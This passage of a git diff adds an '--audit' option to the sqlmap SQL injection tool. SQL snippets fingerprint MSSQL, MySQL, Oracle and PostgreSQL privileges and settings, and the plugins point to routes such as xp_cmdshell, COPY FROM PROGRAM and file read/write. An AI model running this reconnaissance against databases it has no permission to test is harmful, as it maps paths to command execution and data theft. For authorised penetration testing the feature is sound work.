tests/integration/audit/db.py create mode 100644 tests/integration/audit/probe.py create mode 100644 tests/integration/audit/run.py create mode 100644 tests/integration/audit/seed.py create mode 100644 tests/integration/audit/server.py create mode 100644 tests/test_audit.py diff --git a/data/procs/mssqlserver/audit_configuration.sql b/data/procs/mssqlserver/audit_configuration.sql new file mode 100644 index 000000000..297fc2913 --- /dev/null +++ b/data/procs/mssqlserver/audit_configuration.sql @@ -0,0 +1,5 @@ +SELECT audit_key,audit_value FROM ( +SELECT name AS audit_key,CASE WHEN value_in_use IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),value_in_use) END AS audit_value +FROM master.sys.configurations +WHERE name IN ('xp_cmdshell','clr enabled','Ole Automation Procedures','Ad Hoc Distributed Queries') +) audit_rows WHERE 1=1 ORDER BY audit_key diff --git a/data/procs/mssqlserver/audit_identity.sql b/data/procs/mssqlserver/audit_identity.sql new file mode 100644 index 000000000..7cc94f1bd --- /dev/null +++ b/data/procs/mssqlserver/audit_identity.sql @@ -0,0 +1,11 @@ +SELECT audit_key,audit_value FROM ( +SELECT 'effective database user' AS audit_key,CASE WHEN CURRENT_USER IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),CURRENT_USER) END AS audit_value +UNION ALL +SELECT 'effective login' AS audit_key,CASE WHEN SUSER_SNAME() IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),SUSER_SNAME()) END AS audit_value +UNION ALL +SELECT 'original login' AS audit_key,CASE WHEN ORIGINAL_LOGIN() IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),ORIGINAL_LOGIN()) END AS audit_value +UNION ALL +SELECT 'database' AS audit_key,CASE WHEN DB_NAME() IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),DB_NAME()) END AS audit_value +UNION ALL +SELECT 'sysadmin' AS audit_key,CASE WHEN IS_SRVROLEMEMBER('sysadmin') IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),IS_SRVROLEMEMBER('sysadmin')) END AS audit_value +) audit_rows WHERE 1=1 ORDER BY audit_key diff --git a/data/procs/mssqlserver/audit_links.sql b/data/procs/mssqlserver/audit_links.sql new file mode 100644 index 000000000..d3458f0ff --- /dev/null +++ b/data/procs/mssqlserver/audit_links.sql @@ -0,0 +1,6 @@ +SELECT audit_key,audit_value FROM ( +SELECT N'visible linked servers' AS audit_key,N'V'+CONVERT(NVARCHAR(MAX),COUNT(*)) AS audit_value FROM master.sys.servers WHERE is_linked=1 +UNION ALL +SELECT N'link '+CAST(name AS NVARCHAR(MAX)) COLLATE DATABASE_DEFAULT AS audit_key,N'V'+ISNULL(data_source COLLATE DATABASE_DEFAULT,N'')+N' (data access: '+RTRIM(CASE is_data_access_enabled WHEN 1 THEN N'enabled' WHEN 0 THEN N'disabled' ELSE N'unavailable' END)+N'; RPC out: '+RTRIM(CASE is_rpc_out_enabled WHEN 1 THEN N'enabled' WHEN 0 THEN N'disabled' ELSE N'unavailable' END)+N')' AS audit_value +FROM master.sys.servers v WHERE is_linked=1 AND (SELECT COUNT(*) FROM master.sys.servers s WHERE s.is_linked=1 AND s.server_id<=v.server_id)<=%LIMIT% +) audit_rows WHERE 1=1 ORDER BY audit_key diff --git a/data/procs/mssqlserver/audit_permissions.sql b/data/procs/mssqlserver/audit_permissions.sql new file mode 100644 index 000000000..1a063a214 --- /dev/null +++ b/data/procs/mssqlserver/audit_permissions.sql @@ -0,0 +1,7 @@ +SELECT audit_key,audit_value FROM ( +SELECT 'execute xp_cmdshell' AS audit_key,CASE WHEN HAS_PERMS_BY_NAME('master.dbo.xp_cmdshell','OBJECT','EXECUTE') IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),HAS_PERMS_BY_NAME('master.dbo.xp_cmdshell','OBJECT','EXECUTE')) END AS audit_value +UNION ALL +SELECT 'read configuration metadata' AS audit_key,CASE WHEN HAS_PERMS_BY_NAME('master.sys.configurations','OBJECT','SELECT') IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),HAS_PERMS_BY_NAME('master.sys.configurations','OBJECT','SELECT')) END AS audit_value +UNION ALL +SELECT 'read linked-server metadata' AS audit_key,CASE WHEN HAS_PERMS_BY_NAME('master.sys.servers','OBJECT','SELECT') IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),HAS_PERMS_BY_NAME('master.sys.servers','OBJECT','SELECT')) END AS audit_value +) audit_rows WHERE 1=1 ORDER BY audit_key diff --git a/data/procs/mysql/audit_configuration.sql b/data/procs/mysql/audit_configuration.sql new file mode 100644 index 000000000..2ae3afde7 --- /dev/null +++ b/data/procs/mysql/audit_configuration.sql @@ -0,0 +1,5 @@ +SELECT audit_key,audit_value FROM ( +SELECT LOWER(VARIABLE_NAME) AS audit_key,CASE WHEN VARIABLE_VALUE IS NULL THEN 'N' ELSE CONCAT('V',VARIABLE_VALUE) END AS audit_value +FROM performance_schema.global_variables +WHERE LOWER(VARIABLE_NAME) IN ('local_infile','require_secure_transport','read_only','super_read_only','general_log','log_bin','skip_networking','skip_grant_tables') +) audit_rows ORDER BY audit_key diff --git a/data/procs/mysql/audit_configuration_mariadb.sql b/data/procs/mysql/audit_configuration_mariadb.sql new file mode 100644 index 000000000..43ff5d42a --- /dev/null +++ b/data/procs/mysql/audit_configuration_mariadb.sql @@ -0,0 +1,5 @@ +SELECT audit_key,audit_value FROM ( +SELECT LOWER(VARIABLE_NAME) AS audit_key,CASE WHEN VARIABLE_VALUE IS NULL THEN 'N' ELSE CONCAT('V',VARIABLE_VALUE) END AS audit_value +FROM information_schema.GLOBAL_VARIABLES +WHERE LOWER(VARIABLE_NAME) IN ('local_infile','require_secure_transport','read_only','super_read_only','general_log','log_bin','skip_networking','skip_grant_tables') +) audit_rows ORDER BY audit_key diff --git a/data/procs/mysql/audit_file_access.sql b/data/procs/mysql/audit_file_access.sql new file mode 100644 index 000000000..e76214298 --- /dev/null +++ b/data/procs/mysql/audit_file_access.sql @@ -0,0 +1,5 @@ +SELECT audit_key,audit_value FROM ( +SELECT 'secure_file_priv' AS audit_key,CASE WHEN @@GLOBAL.secure_file_priv IS NULL THEN 'N' ELSE CONCAT('V',CAST(@@GLOBAL.secure_file_priv AS CHAR)) END AS audit_value +UNION ALL +SELECT 'max_allowed_packet' AS audit_key,CASE WHEN @@GLOBAL.max_allowed_packet IS NULL THEN 'N' ELSE CONCAT('V',CAST(@@GLOBAL.max_allowed_packet AS CHAR)) END AS audit_value +) audit_rows ORDER BY audit_key diff --git a/data/procs/mysql/audit_identity.sql b/data/procs/mysql/audit_identity.sql new file mode 100644 index 000000000..d2adb3bfc --- /dev/null +++ b/data/procs/mysql/audit_identity.sql @@ -0,0 +1,7 @@ +SELECT audit_key,audit_value FROM ( +SELECT 'effective account' AS audit_key,CASE WHEN CURRENT_USER() IS NULL THEN 'N' ELSE CONCAT('V',CAST(CURRENT_USER() AS CHAR)) END AS audit_value +UNION ALL +SELECT 'login identity' AS audit_key,CASE WHEN USER() IS NULL THEN 'N' ELSE CONCAT('V',CAST(USER() AS CHAR)) END AS audit_value +UNION ALL +SELECT 'server version' AS audit_key,CASE WHEN VERSION() IS NULL THEN 'N' ELSE CONCAT('V',CAST(VERSION() AS CHAR)) END AS audit_value +) audit_rows ORDER BY audit_key diff --git a/data/procs/mysql/audit_privileges.sql b/data/procs/mysql/audit_privileges.sql new file mode 100644 index 000000000..117f9781a --- /dev/null +++ b/data/procs/mysql/audit_privileges.sql @@ -0,0 +1,5 @@ +SELECT audit_key,audit_value FROM ( +SELECT 'direct FILE grant' AS audit_key,CONCAT('V',CAST(COUNT(*) AS CHAR)) AS audit_value +FROM information_schema.USER_PRIVILEGES +WHERE PRIVILEGE_TYPE='FILE' AND GRANTEE=CONCAT(CHAR(39),LEFT(CURRENT_USER(),LENGTH(CURRENT_USER())-LENGTH(SUBSTRING_INDEX(CURRENT_USER(),'@',-1))-1),CHAR(39),'@',CHAR(39),SUBSTRING_INDEX(CURRENT_USER(),'@',-1),CHAR(39)) +) audit_rows ORDER BY audit_key diff --git a/data/procs/oracle/audit_configuration.sql b/data/procs/oracle/audit_configuration.sql new file mode 100644 index 000000000..60e4a98b4 --- /dev/null +++ b/data/procs/oracle/audit_configuration.sql @@ -0,0 +1,5 @@ +SELECT audit_key,audit_value FROM ( +SELECT name AS audit_key,CASE WHEN value IS NULL THEN 'N' ELSE 'V'||value END AS audit_value +FROM v$parameter +WHERE name IN ('remote_os_authent','remote_login_passwordfile','sql92_security','audit_trail','os_authent_prefix') +) audit_rows ORDER BY audit_key diff --git a/data/procs/oracle/audit_directories.sql b/data/procs/oracle/audit_directories.sql new file mode 100644 index 000000000..bf7e89640 --- /dev/null +++ b/data/procs/oracle/audit_directories.sql @@ -0,0 +1,12 @@ +SELECT audit_key,audit_value FROM ( +SELECT 'visible directory grants' AS audit_key,'V'||TO_CHAR(COUNT(*)) AS audit_value +FROM all_directories d JOIN all_tab_privs p ON p.table_schema=d.owner AND p.table_name=d.directory_name +WHERE p.type='DIRECTORY' AND p.privilege IN ('READ','WRITE') AND (p.grantee=SYS_CONTEXT('USERENV','CURRENT_USER') OR p.grantee='PUBLIC' OR p.grantee IN (SELECT role FROM session_roles)) +UNION ALL +SELECT audit_key,audit_value FROM ( +SELECT d.directory_name||' ['||p.privilege||'] (via '||p.grantee||')' AS audit_key,'V'||d.directory_path AS audit_value +FROM all_directories d JOIN all_tab_privs p ON p.table_schema=d.owner AND p.table_name=d.directory_name +WHERE p.type='DIRECTORY' AND p.privilege IN ('READ','WRITE') AND (p.grantee=SYS_CONTEXT('USERENV','CURRENT_USER') OR p.grantee='PUBLIC' OR p.grantee IN (SELECT role FROM session_roles)) +ORDER BY d.directory_name,p.privilege,p.grantee +) audit_details WHERE ROWNUM<=%LIMIT% +) audit_rows ORDER BY audit_key diff --git a/data/procs/oracle/audit_identity.sql b/data/procs/oracle/audit_identity.sql new file mode 100644 index 000000000..4762a74a5 --- /dev/null +++ b/data/procs/oracle/audit_identity.sql @@ -0,0 +1,9 @@ +SELECT audit_key,audit_value FROM ( +SELECT 'effective account' AS audit_key,CASE WHEN SYS_CONTEXT('USERENV','CURRENT_USER') IS NULL THEN 'N' ELSE 'V'||TO_CHAR(SYS_CONTEXT('USERENV','CURRENT_USER')) END AS audit_value FROM DUAL +UNION ALL +SELECT 'login identity' AS audit_key,CASE WHEN SYS_CONTEXT('USERENV','SESSION_USER') IS NULL THEN 'N' ELSE 'V'||TO_CHAR(SYS_CONTEXT('USERENV','SESSION_USER')) END AS audit_value FROM DUAL +UNION ALL +SELECT 'database' AS audit_key,CASE WHEN SYS_CONTEXT('USERENV','DB_NAME') IS NULL THEN 'N' ELSE 'V'||TO_CHAR(SYS_CONTEXT('USERENV','DB_NAME')) END AS audit_value FROM DUAL +UNION ALL +SELECT 'SYSDBA session' AS audit_key,CASE WHEN SYS_CONTEXT('USERENV','ISDBA') IS NULL THEN 'N' ELSE 'V'||TO_CHAR(SYS_CONTEXT('USERENV','ISDBA')) END AS audit_value FROM DUAL +) audit_rows ORDER BY audit_key diff --git a/data/procs/oracle/audit_privileges.sql b/data/procs/oracle/audit_privileges.sql new file mode 100644 index 000000000..6e518eab8 --- /dev/null +++ b/data/procs/oracle/audit_privileges.sql @@ -0,0 +1,5 @@ +SELECT audit_key,audit_value FROM ( +SELECT 'DBA role active' AS audit_key,'V'||CASE WHEN COUNT(*)>0 THEN 'yes' ELSE 'no' END AS audit_value FROM session_roles WHERE role='DBA' +UNION ALL +SELECT privilege,'Vgranted' FROM session_privs WHERE privilege IN ('CREATE ANY DIRECTORY','CREATE EXTERNAL JOB','EXECUTE ANY PROCEDURE','ALTER SYSTEM','SELECT ANY DICTIONARY') +) audit_rows ORDER BY audit_key diff --git a/data/procs/postgresql/audit_configuration.sql b/data/procs/postgresql/audit_configuration.sql new file mode 100644 index 000000000..37f5a375b --- /dev/null +++ b/data/procs/postgresql/audit_configuration.sql @@ -0,0 +1,5 @@ +SELECT audit_key,audit_value FROM ( +SELECT name AS audit_key,CASE WHEN setting IS NULL THEN 'N' ELSE 'V'||setting END AS audit_value +FROM pg_catalog.pg_settings +WHERE name IN ('ssl','password_encryption','row_security','logging_collector','log_statement','log_connections','log_disconnections') +) audit_rows ORDER BY audit_key diff --git a/data/procs/postgresql/audit_identity.sql b/data/procs/postgresql/audit_identity.sql new file mode 100644 index 000000000..ad01c31ee --- /dev/null +++ b/data/procs/postgresql/audit_identity.sql @@ -0,0 +1,7 @@ +SELECT audit_key,audit_value FROM ( +SELECT 'effective account' AS audit_key,CASE WHEN CURRENT_USER IS NULL THEN 'N' ELSE 'V'||CAST(CURRENT_USER AS TEXT) END AS audit_value +UNION ALL +SELECT 'login identity' AS audit_key,CASE WHEN SESSION_USER IS NULL THEN 'N' ELSE 'V'||CAST(SESSION_USER AS TEXT) END AS audit_value +UNION ALL +SELECT 'database' AS audit_key,CASE WHEN CURRENT_DATABASE() IS NULL THEN 'N' ELSE 'V'||CAST(CURRENT_DATABASE() AS TEXT) END AS audit_value +) audit_rows ORDER BY audit_key diff --git a/data/procs/postgresql/audit_privileges.sql b/data/procs/postgresql/audit_privileges.sql new file mode 100644 index 000000000..bc6891dba --- /dev/null +++ b/data/procs/postgresql/audit_privileges.sql @@ -0,0 +1,7 @@ +SELECT audit_key,audit_value FROM ( +SELECT 'superuser' AS audit_key,'V'||CASE WHEN rolsuper THEN '1' ELSE '0' END AS audit_value FROM pg_catalog.pg_roles WHERE rolname=CURRENT_USER +UNION ALL +SELECT 'bypass RLS','V'||CASE WHEN rolbypassrls THEN '1' ELSE '0' END FROM pg_catalog.pg_roles WHERE rolname=CURRENT_USER +UNION ALL +SELECT rolname,'V'||CASE WHEN pg_has_role(oid,'USAGE') THEN '1' ELSE '0' END FROM pg_catalog.pg_roles WHERE rolname IN ('pg_read_server_files','pg_write_server_files','pg_execute_server_program') +) audit_rows ORDER BY audit_key diff --git a/lib/controller/action.py b/lib/controller/action.py index f0b190be4..531dfa722 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -140,6 +140,12 @@ def action(): except SqlmapNoneDataException as ex: logger.critical(ex) + if conf.getAudit: + try: + conf.dumper.audit(conf.dbmsHandler.getAudit()) + except SqlmapNoneDataException as ex: + logger.critical(ex) + if conf.getPasswordHashes: try: conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS) diff --git a/lib/core/dump.py b/lib/core/dump.py index a5f620a07..c9235f0e9 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -227,6 +227,9 @@ class Dump(object): def links(self, links): self.lister("database links", links, content_type=CONTENT_TYPE.LINKS) + def audit(self, audit): + self.lister("database security audit", audit, content_type=CONTENT_TYPE.AUDIT) + def userSettings(self, header, userSettings, subHeader, content_type=None): self._areAdmins = set() diff --git a/lib/core/enums.py b/lib/core/enums.py index 26a0e8d50..c27083724 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -430,6 +430,7 @@ class CONTENT_TYPE(object): STATEMENTS = 26 PROCEDURES = 27 LINKS = 28 + AUDIT = 29 class CONTENT_STATUS(object): IN_PROGRESS = 0 diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index afb3a65c8..835b394e1 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -164,6 +164,7 @@ optDict = { "getPrivileges": ("boolean", "Privileges"), "getRoles": ("boolean", "Roles"), "getLinks": "boolean", + "getAudit": "boolean", "getDbs": ("boolean", "Databases"), "getTables": ("boolean", "Tables"), "getColumns": ("boolean", "Columns"), diff --git a/lib/core/settings.py b/lib/core/settings.py index 7916afa27..857a1ce0b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.11" +VERSION = "1.10.10.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -612,6 +612,9 @@ MYSQL_UNION_VALUE_CAST = "CONVERT(%s USING utf8mb4) COLLATE utf8mb4_bin" # Row count at/above which keyset (seek) pagination is used automatically for table dumps when a usable integer-key cursor exists (smaller tables keep the plain LIMIT/OFFSET path; '--keyset' forces it regardless of size) KEYSET_MIN_ROWS = 1000 +# Maximum detailed metadata rows per variable-size security audit listing +AUDIT_MAX_ROWS = 20 + # Number of Huffman (set-membership) character attempts made before their escape ratio is judged; at/above it, escapes reaching half of all attempts latch the technique off (safety against trimmed/blocked long IN() payloads) HUFFMAN_PROBE_LIMIT = 8 diff --git a/lib/core/testing.py b/lib/core/testing.py index c074e8b0b..4b74b909b 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -114,6 +114,7 @@ def vulnTest(tests=None, label="vuln"): ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), ("-d \"\" --links", ("back-end DBMS: SQLite", "enumeration of database links is not supported on SQLite", "~unhandled exception")), + ("-d \"\" --audit", ("back-end DBMS: SQLite", "security configuration audit is not supported on SQLite", "~unhandled exception")), ("-u csrf --data=\"id=1&csrf_token=1\" --banner --answers=\"update=y\" --flush-session --technique=B", ("back-end DBMS: SQLite", "banner: '3.")), ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")), ) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 122e0303c..cbe762c5c 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -484,6 +484,9 @@ def cmdLineParser(argv=None): enumeration.add_argument("--hostname", dest="getHostname", action="store_true", help="Retrieve DBMS server hostname") + enumeration.add_argument("--audit", dest="getAudit", action="store_true", + help="Audit DBMS security configuration and capabilities") + enumeration.add_argument("--is-dba", dest="isDba", action="store_true", help="Detect if the DBMS current user is DBA") diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index db434e8c8..5a83f76ab 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -37,6 +37,7 @@ from lib.core.common import singleTimeDebugMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import wasLastResponseDBMSError +from lib.core.common import zeroDepthSearch from lib.core.compat import xrange from lib.core.convert import decodeBase64 from lib.core.convert import getUnicode @@ -344,8 +345,10 @@ def unionUse(expression, unpack=True, dump=False): kb.partRun = getPartRun(alias=False) if (conf.api or conf.reportJson) else None if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper(): - # Removed ORDER BY clause because UNION does not play well with it - expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression) + # Only remove outer ordering. Nested ORDER BY clauses can select which + # rows survive a ROWNUM/TOP limit and must remain intact. + positions = set(index for keyword in set(re.findall(r"(?i)ORDER BY", expression)) for index in zeroDepthSearch(expression, keyword)) + expression = re.sub(r"(?i)ORDER BY\s+[\w,]+", lambda match: "" if match.start() in positions else match.group(0), expression) debugMsg = "stripping ORDER BY clause from statement because " debugMsg += "it does not play well with UNION query SQL injection" singleTimeDebugMessage(debugMsg) diff --git a/plugins/dbms/mssqlserver/audit.py b/plugins/dbms/mssqlserver/audit.py new file mode 100644 index 000000000..db784d8e3 --- /dev/null +++ b/plugins/dbms/mssqlserver/audit.py @@ -0,0 +1,53 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import AUDIT_MAX_ROWS +from plugins.generic.audit import Audit as GenericAudit + + +class Audit(GenericAudit): + dbms = DBMS.MSSQL + # Snippets keep an outer WHERE for the existing blind TOP/NOT IN limiter. + queries = (("identity", ("audit_identity",)), ("permissions", ("audit_permissions",)), + ("configuration", ("audit_configuration",)), ("linked servers", ("audit_links",))) + flags = dict((key, ("enabled", "disabled")) for key in ("xp_cmdshell", "clr enabled", "Ole Automation Procedures", "Ad Hoc Distributed Queries")) + flags.update(dict((key, ("yes", "no")) for key in ("sysadmin", "execute xp_cmdshell", "read configuration metadata", "read linked-server metadata"))) + + def failure(self, scope, groups): + permissions = groups.get("permissions") or {} + for key, name, target in (("read configuration metadata", "configuration", "master.sys.configurations"), + ("read linked-server metadata", "linked servers", "master.sys.servers")): + if scope == name and permissions.get(key) == "0": + return "%s: SELECT permission missing on %s" % (scope, target) + return GenericAudit.failure(self, scope, groups) + + def explain(self, groups): + configuration = groups.get("configuration") or {} + permissions = groups.get("permissions") or {} + identity = groups.get("identity") or {} + result = [] + if identity.get("sysadmin") == "1" and configuration.get("xp_cmdshell") == "0": + if self._auditCanExecute(): + result.append("Command execution: sysadmin can enable xp_cmdshell; use --os-cmd or --os-shell") + else: + result.append("Command execution: sysadmin can enable xp_cmdshell; no statement execution route identified") + elif configuration.get("xp_cmdshell") == "1" and permissions.get("execute xp_cmdshell") == "1": + if self._auditCanExecute(): + result.append("Command execution: xp_cmdshell enabled and EXECUTE granted; use --os-cmd or --os-shell") + else: + result.append("Command execution: xp_cmdshell enabled and EXECUTE granted; no statement execution route identified") + elif permissions.get("execute xp_cmdshell") == "0": + result.append("Command execution: EXECUTE permission missing on master.dbo.xp_cmdshell") + elif configuration.get("xp_cmdshell") == "0": + result.append("Command execution: xp_cmdshell is disabled") + links = groups.get("linked servers") or {} + count = links.get("visible linked servers") + if count and count.isdigit() and int(count) > AUDIT_MAX_ROWS: + shown = sum(key.startswith("link ") for key in links) + result.append("Linked servers: showing %d of %s; use --links for the full list" % (shown, count)) + return result diff --git a/plugins/dbms/mysql/audit.py b/plugins/dbms/mysql/audit.py new file mode 100644 index 000000000..e2f854c2c --- /dev/null +++ b/plugins/dbms/mysql/audit.py @@ -0,0 +1,44 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.enums import DBMS, FORK +from plugins.generic.audit import Audit as GenericAudit + + +class Audit(GenericAudit): + dbms = DBMS.MYSQL + flags = dict((key, ("enabled", "disabled")) for key in ("local_infile", "require_secure_transport", "read_only", "super_read_only", "general_log", "log_bin", "skip_networking", "skip_grant_tables")) + flags["direct FILE grant"] = ("present", "absent") + + def __init__(self): + configuration = ("audit_configuration_mariadb", "audit_configuration") if Backend.isFork(FORK.MARIADB) else ("audit_configuration", "audit_configuration_mariadb") + self.queries = (("identity", ("audit_identity",)), ("configuration", configuration), + ("file access", ("audit_file_access",)), ("privileges", ("audit_privileges",))) + + def explain(self, groups): + facts = groups.get("file access") or {} + privileges = groups.get("privileges") or {} + result = [] + disabled = False + if "secure_file_priv" in facts: + value = facts["secure_file_priv"] + # MariaDB can expose an unrestricted value as SQL NULL; MySQL can expose + # its disabled value as the literal string "NULL". Keep the raw fact. + disabled = (value is None or value.upper() == "NULL") and not Backend.isFork(FORK.MARIADB) + if disabled: + result.append("File operations: secure_file_priv=NULL blocks --file-read and --file-write") + elif not value: + result.append("File operations: no directory restriction from secure_file_priv") + else: + result.append("File operations: --file-read and --file-dest paths must be inside '%s'" % value) + if privileges.get("direct FILE grant") == "1" and not disabled: + message = "File read: FILE granted; use --file-read with a server-side path" + if facts.get("max_allowed_packet"): + message += " (file size < %s bytes)" % facts["max_allowed_packet"] + result.append(message) + return result diff --git a/plugins/dbms/oracle/audit.py b/plugins/dbms/oracle/audit.py new file mode 100644 index 000000000..526fd207f --- /dev/null +++ b/plugins/dbms/oracle/audit.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import AUDIT_MAX_ROWS +from plugins.generic.audit import Audit as GenericAudit + + +class Audit(GenericAudit): + dbms = DBMS.ORACLE + queries = (("identity", ("audit_identity",)), ("configuration", ("audit_configuration",)), + ("privileges", ("audit_privileges",)), ("directory grants", ("audit_directories",))) + + def explain(self, groups): + grants = groups.get("directory grants") or {} + count = grants.get("visible directory grants") + if count and count.isdigit() and int(count) > AUDIT_MAX_ROWS: + return ["Directory grants: showing %d of %s" % (len(grants) - 1, count)] + return [] diff --git a/plugins/dbms/postgresql/audit.py b/plugins/dbms/postgresql/audit.py new file mode 100644 index 000000000..33e1e2869 --- /dev/null +++ b/plugins/dbms/postgresql/audit.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from plugins.generic.audit import Audit as GenericAudit + + +class Audit(GenericAudit): + dbms = DBMS.PGSQL + queries = (("identity", ("audit_identity",)), ("configuration", ("audit_configuration",)), + ("privileges", ("audit_privileges",))) + flags = dict((key, ("yes", "no")) for key in ("superuser", "bypass RLS", "pg_read_server_files", "pg_write_server_files", "pg_execute_server_program")) + + def explain(self, groups): + privileges = groups.get("privileges") or {} + superuser = privileges.get("superuser") == "1" + result = [] + if superuser or privileges.get("pg_read_server_files") == "1": + result.append("File read: server-file privilege granted; use --file-read with a server-side path") + if superuser and self._auditCanExecute(): + result.append("File write: superuser and statement execution available; use --file-write and --file-dest") + if superuser or privileges.get("pg_execute_server_program") == "1": + if self._auditCanExecute(): + result.append("Command execution: COPY FROM PROGRAM privilege granted; use --os-cmd or --os-shell") + else: + result.append("Command execution: COPY FROM PROGRAM privilege granted; no statement execution route identified") + if superuser or privileges.get("bypass RLS") == "1": + result.append("Row security: current role bypasses row-level security") + return result diff --git a/plugins/generic/audit.py b/plugins/generic/audit.py new file mode 100644 index 000000000..58a1dbbc7 --- /dev/null +++ b/plugins/generic/audit.py @@ -0,0 +1,113 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import arrayizeValue +from lib.core.common import getSQLSnippet +from lib.core.common import isListLike +from lib.core.common import isNoneValue +from lib.core.common import isStackingAvailable +from lib.core.common import unArrayizeValue +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import EXPECTED +from lib.core.exception import SqlmapNoneDataException +from lib.core.settings import AUDIT_MAX_ROWS +from lib.utils.safe2bin import safecharencode +from lib.request import inject +from thirdparty import six + + +class Audit(object): + # Each snippet returns (audit_key, audit_value). Values are tagged N (SQL NULL) or V + # so extraction's normal NULL/empty-string handling cannot silently change their meaning. + dbms = None + queries = () + flags = {} + + def _auditFetch(self, snippet): + # Extraction locates fields and FROM clauses on one line. + query = getSQLSnippet(self.dbms, snippet, LIMIT=str(AUDIT_MAX_ROWS)).replace("\r", " ").replace("\n", " ") + try: + values = inject.getValue(query, fromUser=True, batch=True, safeCharEncode=False) + except SqlmapNoneDataException: + values = None + if isNoneValue(values): + # Extraction can return None for both zero rows and a failed query. + # Confirm emptiness rather than inferring a database error from it. + countQuery = "SELECT COUNT(*) FROM (%s) audit_count" % query.rsplit(" ORDER BY ", 1)[0] + try: + count = inject.getValue(countQuery, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + except SqlmapNoneDataException: + return None + return {} if getUnicode(unArrayizeValue(count)) == "0" else None + if isListLike(values) and len(values) == 2 and not any(isListLike(_) for _ in values): + values = [values] + facts = {} + for row in arrayizeValue(values): + if not isListLike(row) or len(row) != 2: + return None + key, value = row + if isNoneValue(key) or not isinstance(value, six.string_types): + return None + if value == "N": + value = None + elif value.startswith("V"): + value = value[1:] + else: + return None + # DBMS CHAR expressions can pad the keys; preserve value whitespace. + facts[getUnicode(key).rstrip(" ")] = value + return facts + + def failure(self, scope, groups): + return "%s: retrieval failed" % scope + + def _auditCanExecute(self): + # Use known execution routes; audit must not probe takeover gadgets. + return bool(conf.direct or isStackingAvailable() or kb.get("gadget")) + + def explain(self, groups): + return [] + + def getAudit(self): + if kb.data.cachedAudit: + return kb.data.cachedAudit + logger.info("fetching security configuration and session capabilities") + groups = {} + result = [] + for scope, snippets in self.queries: + facts = None + for snippet in snippets: + facts = self._auditFetch(snippet) + if facts is not None: + break + groups[scope] = facts + if facts is None: + result.append(self.failure(scope, groups)) + continue + if not facts: + result.append("%s: no entries" % scope) + for key in sorted(facts): + if facts[key] is None: + value = "" + elif facts[key] == "": + value = "" + else: + value = facts[key] + if key in self.flags: + if value.lower() in ("1", "on", "true", "yes"): + value = self.flags[key][0] + elif value.lower() in ("0", "off", "false", "no"): + value = self.flags[key][1] + result.append("%s / %s: %s" % (scope, key, value)) + result.extend(self.explain(groups)) + result = [safecharencode(_) for _ in result] + kb.data.cachedAudit = result + return result diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 2f9441fd7..226f19e60 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -73,6 +73,7 @@ class Databases(object): kb.data.cachedStatements = [] kb.data.cachedProcedures = [] 